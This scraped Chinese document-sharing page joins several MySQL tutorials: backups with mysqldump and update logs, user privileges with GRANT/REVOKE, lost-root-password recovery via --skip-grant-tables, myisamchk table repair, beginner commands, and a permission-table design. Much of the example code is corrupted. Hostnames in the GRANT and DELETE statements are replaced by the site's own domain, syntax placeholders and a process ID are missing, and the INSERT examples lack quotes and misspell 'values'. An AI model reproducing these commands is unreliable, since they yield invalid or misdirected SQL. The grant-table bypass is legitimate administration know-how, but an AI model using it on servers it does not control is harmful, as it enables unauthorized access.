文档库 最新最全的文档下载
当前位置:文档库 › MySQL管理

MySQL管理

MySQL管理
MySQL管理

MySQL管理

2002-01-30 22:33

发布者:netbull 阅读次数:978

原著:KevinYank 翻译:处处

对于内容驱动的网站,设计好坏的关键是关系型数据库。在这个教程中,我们已经使用了MySQL关系型数据库管理系统(RDBMS)建立了我们的数据库。对于网站的开发者来说,MySQL是一个较受欢迎的选择,这不仅是因为它对于任何平台上的非商业应用都是免费的,而且也因为它的架设和使用非常的简单。正如我们在第一章中所看到的那样,根据正确的指导,一个新的用户可以在不超过30分钟的时间内架设好一个MySQL服务,并将其运行起来(对于一个有经验的用户甚至只要10分钟!)。

如果你想做的仅仅是架设一个MySQL服务环境,以用来做一些例子和练习,那么我们在第一章安装时所使用的初始化设置对你已经足够了。但是,如果你是想建立一个真正的用于Web站点的数据库--也许这个站点对于你的公司很重要--那么你还需要学习一些有关MySQL的知识。

对于作为基于Internet的企业的一部分的商业事务来说,数据的备份是很重要的。不幸的是,因为备份的工作对于一个管理员来说往往是不太感兴趣的,人们总是无法认清它的重要性,于是这方面的工作对于一个应用程序往往不能做得“足够好”。如果直到现在你还不明白“我们是不是需要备份我们的数据库”,或者是你认为“数据库会和其它东西一起被备份”,那么你得好好看看这一章的内容了。我们将会说明为什么普通的文件备份方案对于许多MySQL服务是远远不够的,然后我们会介绍备份和恢复一个MySQL数据库的“正确的方法”。

在第一章中,我们设置了一个MySQL服务并通过一个有口令的‘root’来连接这个数据库。MySQL的‘root’用户(顺便提一下,不要与Unix的‘root’用户混淆)对于所有的库和表都有读/写的权限。在许多情况下,我们需要建立其它的只能访问某些数据库和数据表的用户,我们还需要对这种访问进行限制(例如,对指定的表只能直接只读访问)。在这一章中,我们将学习如果使用两个新的MySQL 的命令:GRANT和REVOKE来完成这些工作。

在一些情况下,例如由于电源的问题,MySQL数据库可能被损坏。这样的损坏并不总是意味着必须使用备份来恢复。我们将会学习到如果利用MySQL数据库的检查和修复功能来解决简单的数据库损坏。

为什么标准的备份是不够的

和Web服务器一样,绝大多数的MySQL服务器也必须不间断地在线。这使得MySQL数据库的备份显得很重要。因为MySQL服务使用cache和缓冲区来提高对存储在磁盘上的数据库文件更新的效率,所以文件的内容和当前数据库的内容可能并不完全一致。而标准的备份程序仅仅包括对系统和数据文件的拷贝,这种对MySQL数据文件的备份并不能完全满足我们的需要,因为它们不能保证拷贝

的文件可以在系统崩溃时的确能够正常地使用。

此外,因为许多的数据库必须整天地接受信息,标准的备份只能提供数据库数据的“瞬间的”映象。如果MySQL数据库文件被损坏,或是变得不可用,在最后一次备份之后添加的信息将会被丢失。在许多情况下,例如对于一个电子商务网站的处理用户订单的数据库,这样的丢失是不可容忍的。

MySQL中的工具可以对数据进行实时的备份,而在备份进行时,不会影响服务的效率。不幸的是,这需要你为你的MySQL数据配置一个特殊的备份系统。而完全与你已制定的其它数据备份方案无关。然而,和任何一个好的备份系统一样,在你真正用到它的时候,你会发现现在的麻烦是值得的。

在这一章中,我们提供的指导是用于一个运行Linux或其它基于Unix的操作系统的计算机上的。如果你使用的是Windows,方法也基本上一样,只是其中的有些命令必须改动。

使用mysqldump进行数据库备份

除了mysqld以外,MySQL服务器以及mysql(MySQL的客户端),在安装时还会产生很多有用的程序。例如,在前面,我们已经看到的mysqladmin,就是负责控制和搜集有关正在运行的MySQL服务的信息的程序。

mysqldump是另一个这样的程序。当它运行时,它会连接到一个MySQL服务(就和mysql程序和PHP语言所做的一样)并下载指定的数据库的全部内容。然后它会输出一系列的SQL的CREATE TABLE命令和INSERT命令,在一个空的MySQL数据库中运行这些命令,就可以建立与当初的数据库内容完全一样的一个MySQL数据库。

通过重定向mysqldump的输出到一个文件,你可以存储一个数据库的“镜像”以作为备份。下面的命令是用一个口令为mypass的root用户连接到一个运行在myhost上的MySQL服务,并将名为dbname的数据库的备份存储到

dbname_backup.sql文件中:

% mysqldump -h myhost -u root -pmypass dbname > dbname_backup.sql

要恢复这样的一个数据库,只需要运行下面的命令:

% mysqladmin -h myhost -u root -pmypass create dbname

% mysql -h myhost -u root -pmypass dbname < dbname_backup.sql

第一个命令使用mysqladmin程序建立一个数据库。第二个命令连接到MySQL 服务并使用通常的mysql程序,并将刚才得到的备份文件作为其中执行的命令。

通过这种方法,我们可以使用mysqldump建立我们数据库的备份。因为

mysqldump通过与MySQL服务的连接产生这个备份,这肯定要比直接访问MySQL数据目录下的数据库文件来得更为安全,因为这样的备份可以确保是数据库的一个有效的拷贝,而不仅仅是数据库文件的拷贝。

剩下来的问题就是如何解决这个“镜像”与一个不断更新的数据库之间的同步。要做到这一点,你需要命令服务保持一个变更日志。

利用变更日志进行增量备份

正如我们前面提到的,在很多情况下,我们使用的MySQL数据库会造成数据的丢失--甚至有的时候会丢失很重要的数据。在这样的情况下,我们必须找到一种方法保持我们使用上面介绍的方法用mysqldump制作的备份与当前数据库之间的同步。而解决方案就是让MySQL服务维持一个更新日志。一个更新日志是一个关于所有数据库接受到的可能改变数据库内容的查询的记录。这将包括INSERT、UPDATE和CREATE TABLE语句,但是不包括SELECT语句。

通常的想法是维持一个变更日志,这样当数据库崩溃时,你的恢复过程应该是这样的:首先使用备份(使用mysqldump命令产生),然后使用备份之后的变量日志。

你也可以使用变更日志撤消错误操作。例如,如果一个合作者告诉你他错误地使用了一个DROP TABLE命令,你可以对变更日志进行编辑以删除这个命令,然后使用备份和修改过的变更日志进行恢复。通过这种方法,你甚至可以保持这次意外事故之后其它表的变化。作为预防措施,你也许还要收回你的合作者的DROP权限(在下一部分你将看到该怎么做)。

告诉MySQL服务器维持一个变更日志是非常简单的,你只需要在服务的命令行中增加一个选项:

% safe-mysqld --log-update=update

上面的命令启动MySQL服务,并告诉它在服务器的数据目录下(如果你依照第一章中指导配置你的服务器的话,这个目录将是/usr/local/mysql/var)建立名为update.001、update.002……的文件。一个新的这样的文件将在服务器每一次刷新它的日志文件时被建立(通常,这是指服务每一次重启动时)。如果你想将你的变更日志存储到另一个地方(通常这是一个好主意--如果包含你的数据目录的磁盘出了问题,你肯定不能指望它还能好好保存你的备份!),你可以指定变更日志的路径。

但是,如果你的MySQL服务器是不间断地工作的,在启动MySQL服务时你也许还需要一些系统配置。在这种情况下,增加一个命令行选择可能变得很困难。

建立变更日志的另一个简单的方法是在MySQL配置文件中增加相应的选项。

如果你还不清楚"什么是MySQL配置文件",不要担心。事实上,在此之前,我们一直没用到过这样的配置文件。要建立这个文件,以我们在第一章中建立的MySQL用户(如果你是完全根据指导做的,这应该是mysqlusr)登录到Linux。使用你习惯的文本编辑器,在你的MySQL数据目录下(除非你选择了其它地方安装MySQL,这应该是指/usr/local/mysql/var)建立一个名为https://www.wendangku.net/doc/0b11338235.html,f的文件。在这个文件中,输入下面一行:

[mysqld]log-update=/usr/backups/mysql/update

当然,你可以自由地指定你的日志文件所写入的位置。保存这个文件并重启你的MySQL服务。从现在开始,MySQL服务运行的情况将和你在命令行中使用了--log-update选项一样。

很明显,对于一个服务来说,变更日志可能占用大量的空间。因为这个原因以及MySQL不能自动地在建立新的日志文件删除旧的日志文件,你需要自己管理你的变更日志文件。例如,下面的Unix shell脚本,会删除所有一星期以前更改的变更日志文件,然后通知MySQL刷新它的日志文件。

#! /bin/sh

find /usr/backups/mysql/ -name "update.[0-9]*"

-type f -mtime +6 | xargs rm -f

/usr/local/mysql/bin/mysqladmin -u root

-ppassword flush-logs

如果当前的日志文件被删除,最后一步(刷新日志文件)将建立一个新的变更日志,这意味着MySQL服务一直在线,而且在过去的一周中,没有收到任何改变数据库内容的查询。

如果你是一个有经验的用户,使用“时钟守护程序”设置一个脚本来定期(比方说,每周一次)执行数据库的备份并删除旧的变更日志应该是相当简单的。如果你还需要一点帮助,请教你当地的Unix权威。MySQL by Paul DuBois中的MySQL 管理一章中对设置这样的一个系统也有详细的指南。

假定你已经有了一个备份以及在此之后的变更日志的一个拷贝,恢复你的数据库将是非常简单的。在建立一个空数据库后应用我们在上一节中讨论的方法导入备份,然后使用带--one-database命令行选项的mysql命令导入变更日志。这会指示服务器仅仅运行变更日志中与我们想要恢复的数据库(在这个例子中是指

dbname)相关的查询:

% mysql -u root -ppassword --one-database dbname < update.100

% mysql -u root -ppassword --one-database dbname < update.102

...

MySQL访问控制

在这个教程的早些时候,我们曾经提到一个叫做mysql的数据库,在每一个MySQL服务中都包含这个数据库,它是用来保存用户的相关信息、他们的口令以及他们的权限的。但是,在此之前,我们一直使用root用户登录到MySQL服务,这个用户可以访问所有的数据库和数据表。

如果你的MySQL服务仅仅被通过PHP访问,而用你对于将root用户的口令告诉什么人很小心,那么root帐号可能已经足够了。但是,如果一个MySQL服务是被许多人共享的,(例如,一个Web主机希望对它的每一个用户提供同一个MySQL服务),为不同的用户设置相应的访问权限就显得很重要了。

在MySQL参考手册的第六章中详细介绍了MySQL的访问控制系统。从原理上来说,用户的访问是由mysql数据库中的五个数据表来管理的:user、db、host、tables_priv和columns_priv。如果你想直接使用INSERT、UPDATE和DELETE 语句来编辑这些表,我建议你先阅读一下MySQL指南中的相关章节。而从

3.22.11版本开始,MySQL提供了简单的方法来管理用户的访问。使用MySQL 提供的非标准的命令GRANT和REVOKE,你可以建立用户并赋予其相应的权限,而不必关心它在前面提到的五个表中的存储形式。

使用GRANT

GRANT命令用来建立新用户,指定用户口令并增加用户权限。其格式如下:mysql> GRANT ON

-> TO [IDENTIFIED BY ""]

-> [WITH GRANT OPTION];

正如你看到的,在这个命令中有许多待填的内容。让我们逐一地对它们进行介绍,并最终给出一些例子以让你对它们的协同工作有一个了解。

是一个用逗号分隔的你想要赋予的权限的列表。你可以指定的权限可以分为三种类型:

数据库/数据表/数据列权限:

ALTER: 修改已存在的数据表(例如增加/删除列)和索引。

CREATE: 建立新的数据库或数据表。

DELETE: 删除表的记录。

DROP: 删除数据表或数据库。

INDEX: 建立或删除索引。

INSERT: 增加表的记录。

SELECT: 显示/搜索表的记录。

UPDATE: 修改表中已存在的记录。

全局管理权限:

FILE: 在MySQL服务器上读写文件。

PROCESS: 显示或杀死属于其它用户的服务线程。

RELOAD: 重载访问控制表,刷新日志等。

SHUTDOWN: 关闭MySQL服务。

特别的权限:

ALL: 允许做任何事(和root一样)。

USAGE: 只允许登录--其它什么也不允许做。

这些权限所涉及到的MySQL的特征,其中的一些我们至今还没看到,而其中的绝大部分是你所熟悉的。

定义了这些权限所作用的区域。*.*意味着权限对所有数据库和数据表有效。dbName.*意味着对名为dbName的数据库中的所有数据表有效。dbName.tblName 意味着仅对名为dbName中的名为tblName的数据表有效。你甚至还可以通过在赋予的权限后面使用圆括号中的数据列的列表以指定权限仅对这些列有效(在后面我们将看到这样的例子)。

指定可以应用这些权限的用户。在MySQL中,一个用户通过它登录的用户名和用户使用的计算机的主机名/IP地址来指定。这两个值都可以使用%通配符(例如kevin@%将允许使用用户名kevin从任何机器上登录以享有你指定的权限)。

指定了用户连接MySQL服务所用的口令。它被用方括号括起,说明IDENTIFIED BY ""在GRANT命令中是可选项。这里指定的口令会取代用户原来的密码。如果没有为一个新用户指定口令,当他进行连接时就不需要口令。

这个命令中可选的WITH GRANT OPTION部分指定了用户可以使用

GRANT/REVOKE命令将他拥有的权限赋予其他用户。请小心使用这项功能--虽然这个问题可能不是那么明显!例如,两个都拥有这个功能的用户可能会相互共享他们的权限,这也许不是你当初想看到的。

让我们来看两个例子。建立一个名为dbmanager的用户,他可以使用口令managedb从https://www.wendangku.net/doc/0b11338235.html,连接MySQL,并仅仅可以访问名为db的数据库的全部内容(并可以将此权限赋予其他用户),这可以使用下面的GRANT命令:mysql> GRANT ALL ON db.*

-> TO dbmanager@https://www.wendangku.net/doc/0b11338235.html,

-> IDENTIFIED BY "managedb"

-> WITH GRANT OPTION;

现在改变这个用户的口令为funkychicken,命令格式如下:

mysql> GRANT USAGE ON *.*

-> TO dbmanager@https://www.wendangku.net/doc/0b11338235.html,

-> IDENTIFIED BY "funkychicken";

请注意我们没有赋予任何另外的权限(the USAGE权限只能允许用户登录),但是用户已经存在的权限不会被改变。

现在让我们建立一个新的名为jessica的用户,他可以从https://www.wendangku.net/doc/0b11338235.html,域的任意机器连接到MySQL。他可以更新数据库中用户的姓名和email地址,但是不需要查阅其它数据库的信息。也就是说他对db数据库具有只读的权限(例如,SELECT),但是他可以对Users表的name列和email列执行UPDATE操作。命令如下:mysql> GRANT SELECT ON db.*

-> TO jessica@%https://www.wendangku.net/doc/0b11338235.html,

-> IDENTIFIED BY "jessrules";

mysql> GRANT UPDATE (name,email) ON https://www.wendangku.net/doc/0b11338235.html,ers

-> TO jessica@%https://www.wendangku.net/doc/0b11338235.html,;

请注意在第一个命令中我们在指定Jessica可以用来连接的主机名时使用了%(通配符)符号。此外,我们也没有给他向其他用户传递他的权限的能力,因为我们在命令的最后没有带上WITH GRANT OPTION。第二个命令示范了如何通过在赋予的权限后面的圆括号中用逗号分隔的列的列表对特定的数据列赋予权限。

使用REVOKE

正如你所预期的那样,REVOKE命令是用来去除一个用户以前被赋予的权限的。命令的语法如下:

mysql> REVOKE [()]

-> ON FROM ;

这个命令中各部分的功能和在上面的GRANT命令中时一样。要去除Jessica的合作者的DROP权限(例如,如果他经常错误地删除数据库和表),你可以使用下面的命令:

mysql> REVOKE DROP ON *.* FROM idiot@%https://www.wendangku.net/doc/0b11338235.html,;

去除一个用户的登录权限大概是唯一不能使用REVOKE的。REVOKE ALL ON *.*会去除用户的所有权限,但是他还可以登录,要完全地删除一个用户,你需要在user表中删除相应的记录:

mysql> DELETE FROM user

-> WHERE User="idiot" AND Host="%https://www.wendangku.net/doc/0b11338235.html,";

访问控制技巧

由于MySQL中访问控制系统工作的方法的影响,在建立你的用户之前你必须知道两个特征。

当建立的用户只能从MySQL服务运行的计算机上登录到MySQL服务(也就是说,你需要他们telnet到服务器并在那里运行MySQL的客户端程序,或者是使用象PHP这样的服务器端脚本语言进行通信),你大概会问自己GRANT命令的部分应该填什么内容。如果服务是运行在https://www.wendangku.net/doc/0b11338235.html,。你是应该将用户设置为username@https://www.wendangku.net/doc/0b11338235.html,还是username@localhost呢?

答案是,你不能依赖其中的任何一种来处理任何连接。从理论上来说,如果用户在连接时(无论是使用mysql客户端还是使用PHP的mysql_connect函数)指定了主机名,这个主机名必须与访问控制系统中的记录匹配。但是因为你也许不想强迫你的用户指定主机名(事实上,mysql客户端的用户也许根本不会指定主机名),你最好使用下面这种工作环境。

对于用户需要能够从MySQL服务在其上运行的机器上连接MySQL的情况,在MySQL访问控制系统中建立两个用户记录:一个使用实际的主机名(例如,username@https://www.wendangku.net/doc/0b11338235.html,),另一个使用localhost(例如,username@localhost),当然,你需要为两个用户分别grant/revoke所有的权限。

MySQL管理者所要面对的另一个带有普通性的问题是一个其中的主机名使用了通配符的用户记录(例如,前面提到jessica@%https://www.wendangku.net/doc/0b11338235.html,)没起作用。发生这种情况,一般是由于MySQL访问控制系统中记录的优先级的问题。具体地说,越具体的主机名优先级越高(例如,https://www.wendangku.net/doc/0b11338235.html,是最具体的,%https://www.wendangku.net/doc/0b11338235.html,是比较具体的,而%是最不具体的)。

在一个新安装后,MySQL访问控制系统包含两个匿名用户记录(它允许在当前主机上使用任何用户名进行连接--这两个记录分别支持从localhost连接以及从服务

器的实现的主机名进行连接),以及两个root用户目录。我们上面讨论的情况发生时是由于匿名用户目录的优先级比我们的新记录高,因为他们的主机名更具体。

让我们看看https://www.wendangku.net/doc/0b11338235.html,上user表的内容,我们假定已经添加了Jessica的记录。数据行是按照MySQL服务在确认连接时的优先级排列的:

正如你看到的,因为Jessica的记录的主机名最不具体,它的优先级最低。当Jessica 试图从https://www.wendangku.net/doc/0b11338235.html,连接时,MySQL服务将他的连接匹配为一个匿名用户记录(空白的User值与任何人匹配)。因为这些匿名记录不需要口令,而也许Jessica 输入了他的口令,MySQL将拒绝这个连接。即使Jessica没有输入口令,他可能也只被给予了匿名用户的权限(非常有限),而不是他原来被赋予的权限。

解决这个问题的方法是,要么你删除匿名用户的记录(DELETE FROM user WHERE User=""),要么再为所有的可能从localhost连接的用户指定两条记录(例如,相对于localhost以及相对于服务器的实际主机名):

因为要为每个用户维护三个用户记录(以及相应的三套权限)会很麻烦,所以我们推荐你删除匿名用户,除非你需要用他们来完成什么特殊的应用:

被锁在外面?

就象把钥匙丢失在车上一样,在花费了一个小时安装并调试好一个新的MySQL 服务器之后忘记了口令的确是件麻烦事。幸运的是,如果你有访问MySQL运行的计算机的root权限,或者你能够使用运行MySQL服务的用户登录(如果你按照第一章中的指导,这是指mysqlusr),那么不会出什么问题。按照下面的步骤,你可以获得服务的控制权。

首先,你必须关闭MySQL服务。因为通常使用的mysqladmin需要用到你忘了的口令,你只能通过杀掉服务的进程来完成这项工作。使用ps命令或者看看服务的PID文件(在MySQL数据目录下),确定MySQL服务的进程的ID,然后使用下面的命令终止它:

% kill

这里是MySQL服务的进程的ID。这样将可以终止服务。除非绝对必要,不要使用kill -9,因为这样有可能损坏你的表文件。如果你被迫只能这么做,下面将告诉你如何检查和修复那些文件。

关闭了服务之后,你可以通过运行带--skip-grant-tables命令行选项的safe-mysqld (在Windows下使用mysqld或mysqld-nt)命令重启它。这将指示MySQL服务允许自由的访问,明显的,我们应该尽可能地短时间的使用这种模式运行服务,以避免固有的安全风险。

连接成功后,改变你的root口令:

mysql> USE mysql;

mysql> UPDATE user SET Password=PASSWORD("newpassword")

-> WHERE User="root";

最后,断开连接并指示MySQL服务重载授权表以接收新的口令:

% mysqladmin flush-privileges

现在一切都好了--甚至不会有人知道你干了什么。就象你虽然将钥匙丢在了车上,而你自己也在车上一样。

检查和修复MySQL数据文件

由于临时断电,使用kill -9中止MySQL服务进程,或者是Jessica的朋友

idiot@%https://www.wendangku.net/doc/0b11338235.html,又犯了一个错误,所有的这些都可能会毁坏MySQL的数据文件。如果在被干扰时,服务正在改变文件,文件可能会留下错误的或不一致的状态。因为这样的毁坏有时是不容易被发现的,当你发现这个错误时可能是很久以后的事了。于是,当你发现这个问题时,也许所有的备份都有同样的错误。

MySQL参考手册的第十五章讲述了MySQL自带的myisamchk的功能,以及如何使用它检查和修复你的MySQL数据文件。虽然这一章对于每个想要搭建一个强壮的MySQL服务的人都是推荐阅读的,我们还是有必要在这里对其中的要点进行讨论。

在我们继续之前,你必须意识到myisamchk程序对用来检查和修改的MySQL数据文件的访问应该是唯一的。如果MySQL服务正在使用某一文件,并对myisamchk正在检查的文件进行修改,myisamchk会误以为发生了错误,并会试图进行修复--这将导致MySQL服务的崩溃!这样,要避免这种情况的发生,通常我们需要在工作时关闭MySQL服务。作为选择,你也可以暂时关闭服务以制作一个文件的拷贝,然后在这个拷贝上工作。当你做完了以后,重新关闭服务并

使用新的文件取代原来的文件(也许你还需要使用期间的变更日志)。

MySQL数据目录不是太难理解的。每一个数据库对应一个子目录,每个子目录中包含了对应于这个数据库中的数据表的文件。每一个数据表对应三个文件,它们和表名相同,但是具有不同的扩展名。tblName.frm文件是表的定义,它保存了表中包含的数据列的内容和类型。tblName.MYD文件包含了表中的数据。tblName.MYI文件包含了表的索引(例如,它可能包含lookup表以帮助提高对表的主键列的查询)。

要检查一个表的错误,只需要运行myisamchk(在MySQL的bin目录下)并提供文件的位置和表名,或者是表的索引文件名:

% myisamchk /usr/local/mysql/var/dbName/tblName

% myisamchk /usr/local/mysql/var/dbName/tblName.MYI

上面的两个命令都可以执行对指定表的检查。要检查数据库中所有的表,可以使用通配符:

% myisamchk /usr/local/mysql/var/dbName/*.MYI

要检查所有数据库中的所有表,可以使用两个通配符:

% myisamchk /usr/local/mysql/var/*/*.MYI

如果不带任何选项,myisamchk将对表文件执行普通的检查。如果你对一个表有怀疑,但是普通的检查不能发现任何错误,你可以执行更彻底的检查(但是也更慢!),这需要使用--extend-check选项:

% myisamchk --extend-check /path/to/tblName

对错误的检查是没有破坏性的,这意味着你不必担心执行对你的数据文件的检查会使已经存在的问题变得更糟。另一方面,修复选项,虽然通常也是安全的,但是它对你的数据文件的更改是无法撤消的。因为这个原因,我们强烈推荐你试图修复一个被破坏的表文件时首先做个备份,并确保在制作这个备份之前你的MySQL服务是关闭的。

当你试图修复一个被破坏的表的问题时,有三种修复类型。如果你得到一个错误信息指出一个临时文件不能建立,删除信息所指出的文件并再试一次--这通常是上一次修复操作遗留下来的。

这三种修复方法如下所示:

% myisamchk --recover --quick /path/to/tblName

% myisamchk --recover /path/to/tblName

% myisamchk --safe-recover /path/to/tblName

第一种是最快的,用来修复最普通的问题;而最后一种是最慢的,用来修复一些其它方法所不能修复的问题。

检查和修复MySQL数据文件

如果上面的方法无法修复一个被损坏的表,在你放弃之前,你还可以试试下面这两个技巧:

如果你怀疑表的索引文件(*.MYI)发生了不可修复的错误,甚至是丢失了这个文件,你可以使用数据文件(*.MYD)和数据格式文件(*.frm)重新生成它。首先制作一个数据文件(tblName.MYD)的拷贝。重启你的MySQL服务并连接到这个服务上,使用下面的命令删除表的内容:

mysql> DELETE FROM tblName;

在删除表的内容的同时,会建立一个新的索引文件。退出登录并重新关闭服务,然后用你刚才保存的数据文件(tblName.MYD)覆盖新的(空)数据文件。最后,使用myisamchk执行标准的修复(上面的第二种方法),根据表的数据的内容和表的格式文件重新生成索引数据。

如果你的表的格式文件(tblName.frm)丢失了或者是发生了不可修复的错误,但是你清楚如何使用相应的CREATE TABLE语句来重新生成这张表,你可以重新生成一个新的.frm文件并和你的数据文件和索引文件(如果索引文件有问题,使用上面的方法重建一个新的)一起使用。首先制作一个数据和索引文件的拷贝,然后删除原来的文件(删除数据目录下有关这个表的所有记录)。

启动MySQL服务并使用当初的CREATE TABLE文件建立一个新的表。新的.frm 文件应该可以正常工作了,但是最好你还是执行一下标准的修复(上面的第二种方法)。

结语

OK,的确这一章没有多少我们通常所习惯的可以具体执行某项实际工作的代码。但是所有的这些工作--备份和恢复数据库,管理MySQL的访问控制系统,数据表的检查和修复--都将有助于我们建立一个经得住时间考验的MySQL数据库服务器。

在本教程的倒数第二章——第九章中,我们会学习一些更复杂的SQL技术以使得我们的关系型数据库服务器可以完成一些你之前也许从未想到过的工作。

MYSQL初学者使用指南

2002-01-30 22:34

发布者:netbull 阅读次数:1687

有很多朋友虽然安装好了mysql但却不知如何使用它。在这篇文章中我们就从连接MYSQL、修改密码、增加用户等方面来学习一些MYSQL的常用命令。

一、连接MYSQL。

格式:mysql -h主机地址-u用户名-p用户密码

1、例1:连接到本机上的MYSQL。

首先在打开DOS窗口,然后进入目录mysqlbin,再键入命令mysql -uroot -p,回车后提示你输密码,如果刚安装好MYSQL,超级用户root是没有密码的,故直接回车即可进入到MYSQL中了,MYSQL的提示符是:mysql>

2、例2:连接到远程主机上的MYSQL。假设远程主机的IP为:110.110.110.110,用户名为root,密码为abcd123。则键入以下命令:

mysql -h110.110.110.110 -uroot -pabcd123

(注:u与root可以不用加空格,其它也一样)

3、退出MYSQL命令:exit (回车)

二、修改密码。

格式:mysqladmin -u用户名-p旧密码password 新密码

1、例1:给root加个密码ab12。首先在DOS下进入目录mysqlbin,然后键入以下命令mysqladmin -uroot -password ab12

注:因为开始时root没有密码,所以-p旧密码一项就可以省略了。

2、例2:再将root的密码改为djg345。

mysqladmin -uroot -pab12 password djg345

三、增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)

格式:grant select on 数据库.* to 用户名@登录主机identified by "密码"

例1、增加一个用户test1密码为abc,让他可以在任何主机上登录,并对所有数据库有查询、插入、修改、删除的权限。首先用以root用户连入MYSQL,然后键入以下命令:

grant select,insert,update,delete on *.* to test1@"%" Identified by "abc";

但例1增加的用户是十分危险的,你想如某个人知道test1的密码,那么他就可以在internet上的任何一台电脑上登录你的mysql数据库并对你的数据可以为所欲为了,解决办法见例2。

例2、增加一个用户test2密码为abc,让他只可以在localhost上登录,并可以对数据库mydb进行查询、插入、修改、删除的操作(localhost指本地主机,即MYSQL数据库所在的那台主机),这样用户即使用知道test2的密码,他也无法从internet上直接访问数据库,只能通过MYSQL主

机上的web页来访问了。

grant select,insert,update,delete on mydb.* to test2@localhost identified by "abc";

如果你不想test2有密码,可以再打一个命令将密码消掉。

grant select,insert,update,delete on mydb.* to test2@localhost identified by "";

(下篇)

在上篇我们讲了登录、增加用户、密码更改等问题。下篇我们来看看MYSQL中有关数据库方面的操作。注意:你必须首先登录到MYSQL中,以下操作都是在MYSQL的提示符下进行的,而且每个命令以分号结束。

一、操作技巧

1、如果你打命令时,回车后发现忘记加分号,你无须重打一遍命令,只要打个分号回车就可以了。也就是说你可以把一个完整的命令分成几行来打,完后用分号作结束标志就OK。

2、你可以使用光标上下键调出以前的命令。但以前我用过的一个MYSQL旧版本不支持。我现在用的是mysql-3.23.27-beta-win。

二、显示命令

1、显示数据库列表。

show databases;

刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。

2、显示库中的数据表:

use mysql;//打开库,学过FOXBASE的一定不会陌生吧

show tables;

3、显示数据表的结构:

describe 表名;

4、建库:

create database 库名;

5、建表:

use 库名;

create table 表名(字段设定列表);

6、删库和删表:

drop database 库名;

drop table 表名;

7、将表中记录清空:

delete from 表名;

8、显示表中的记录:

select * from 表名;

三、一个建库和建表以及插入数据的实例

drop database if exists school; //如果存在SCHOOL则删除

create database school; //建立库SCHOOL

use school; //打开库SCHOOL

create table teacher //建立表TEACHER

(

id int(3) auto_increment not null primary key,

name char(10) not null,

address varchar(50) default 深圳,

year date

); //建表结束

//以下为插入字段

insert into teacher valuess(,glchengang,深圳一中,1976-10-10);

insert into teacher valuess(,jack,深圳一中,1975-12-23);

注:在建表中(1)将ID设为长度为3的数字字段:int(3)并让它每个记录自动加一:auto_increment 并不能为空:not null而且让他成为主字段primary key(2)将NAME设为长度为10的字符字段(3)将ADDRESS设为长度50的字符字段,而且缺省值为深圳。varchar和char有什么区别呢,只有等以后的文章再说了。(4)将YEAR设为日期字段。

如果你在mysql提示符键入上面的命令也可以,但不方便调试。你可以将以上命令原样写入一个文本文件中假设为school.sql,然后复制到c:下,并在DOS状态进入目录mysqlbin,然后键入以下命令:

mysql -uroot -p密码< c:school.sql

如果成功,空出一行无任何显示;如有错误,会有提示。(以上命令已经调试,你只要将//的注释去掉即可使用)。

四、将文本数据转到数据库中

1、文本数据应符合的格式:字段数据之间用tab键隔开,null值用n来代替.

例:

3 rose 深圳二中1976-10-10

4 mike 深圳一中1975-12-23

2、数据传入命令load data local infile "文件名" into table 表名;

注意:你最好将文件复制到mysqlbin目录下,并且要先用use命令打表所在的库。

五、备份数据库:(命令在DOS的mysqlbin目录下执行)

mysqldump --opt school>school.bbb

注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。

后记:其实MYSQL的对数据库的操作与其它的SQL类数据库大同小异,您最好找本将SQL的书看看。我在这里只介绍一些基本的,其实我也就只懂这些了,呵呵。最好的MYSQL教程还是“晏子“译的“MYSQL中文参考手册“不仅免费每个相关网站都有下载,而且它是最权威的。可惜不是象"PHP4中文手册"那样是chm的格式,在查找函数命令的时候不太方便

关于用户权限的数据库设计

1 设计思路 为了设计一套具有较强可扩展性的用户认证管理,需要建立用户、角色和权限等数据库表,并且建立之间的关系,具体实现如下。 1.1 用户 用户仅仅是纯粹的用户,用来记录用户相关信息,如用户名、密码等,权限是被分离出去了的。用户(User)要拥有对某种资源的权限,必须通过角色(Role)去关联。 用户通常具有以下属性: 编号,在系统中唯一。 ü名称,在系统中唯一。 ü用户口令。 ü注释,描述用户或角色的信息。 1.2 角色 角色是使用权限的基本单位,拥有一定数量的权限,通过角色赋予用户权限,通常具有以下属性: ü编号,在系统中唯一。 ü名称,在系统中唯一。 ü注释,描述角色信息 1.3 权限 权限指用户根据角色获得对程序某些功能的操作,例如对文件的读、写、 修改和删除功能,通常具有以下属性: ü编号,在系统中唯一。 ü名称,在系统中唯一。 ü注释,描述权限信息 1.4 用户与角色的关系 一个用户(User)可以隶属于多个角色(Role),一个角色组也可拥有多个用户,用户角色就是用来描述他们之间隶属关系的对象。用户(User)通过角色(Role)关联所拥有对某种资源的权限,例如 l 用户(User): UserID UserName UserPwd 1 张三 xxxxxx 2 李四 xxxxxx …… l 角色(Role): RoleID RoleName RoleNote 01 系统管理员监控系统维护管理员 02 监控人员在线监控人员 03 调度人员调度工作人员 04 一般工作人员工作人员…… 从该关系表可以看出,用户所拥有的特定资源可以通过用户角色来关联。 1.5 权限与角色的关系 一个角色(Role)可以拥有多个权限(Permission),同样一个权限可分配给多个角色。例如: l 角色(Role): RoleID RoleName RoleNote 01 系统管理员监控系统维护管理员 02 监控人员在线监控人员

MySQL权限表都有哪些

MySQL权限表都有哪些,分别控制MySQL哪些权限,有哪些注意事项? 1、user:记录账号、密码、全局性权限信息等,里面的权限是全局级的 1)*_priv:适用MySQL服务器全局性的权限,假设某个账号拥有Delete_priv的全局性权限,则表示它可以对任何表进行删除数据的操作,这非常危险,所有一般只有超级用户root有这样的权限,其它普通用户没有。 2)max_*:资源管理列,用于规定账号的资源使用上限,其中: max_questions:每小时发出的语句数上限 max_updates:每小时发出的修改类语句数上限 max_connections:每小时连接数上限 max_user_connections:允许保有的连接数上限 3)SSL相关列: ssl_type,ssl_cipher,x509_isuser, x509_subject 2、db:记录各个帐号在各个数据库上的操作权限 *_priv:适用于某个数据库的权限 3、tables_priv:表级别的权限 Column_priv比较奇怪,因为照理说tables_priv只显示表级别的权限,列级别的权限应该在columns_priv里显示才对。后来查了资料才知道,原来这是为了提高权限检查时的性能,试想一下,权限检查时,如果发现tables_priv.Column_priv为空,就不需要再检查columns_priv 表了,这种情况在现实中往往占大多数。 4、columns_priv:列级别的权限 5、procs_priv:存储过程和函数的权限 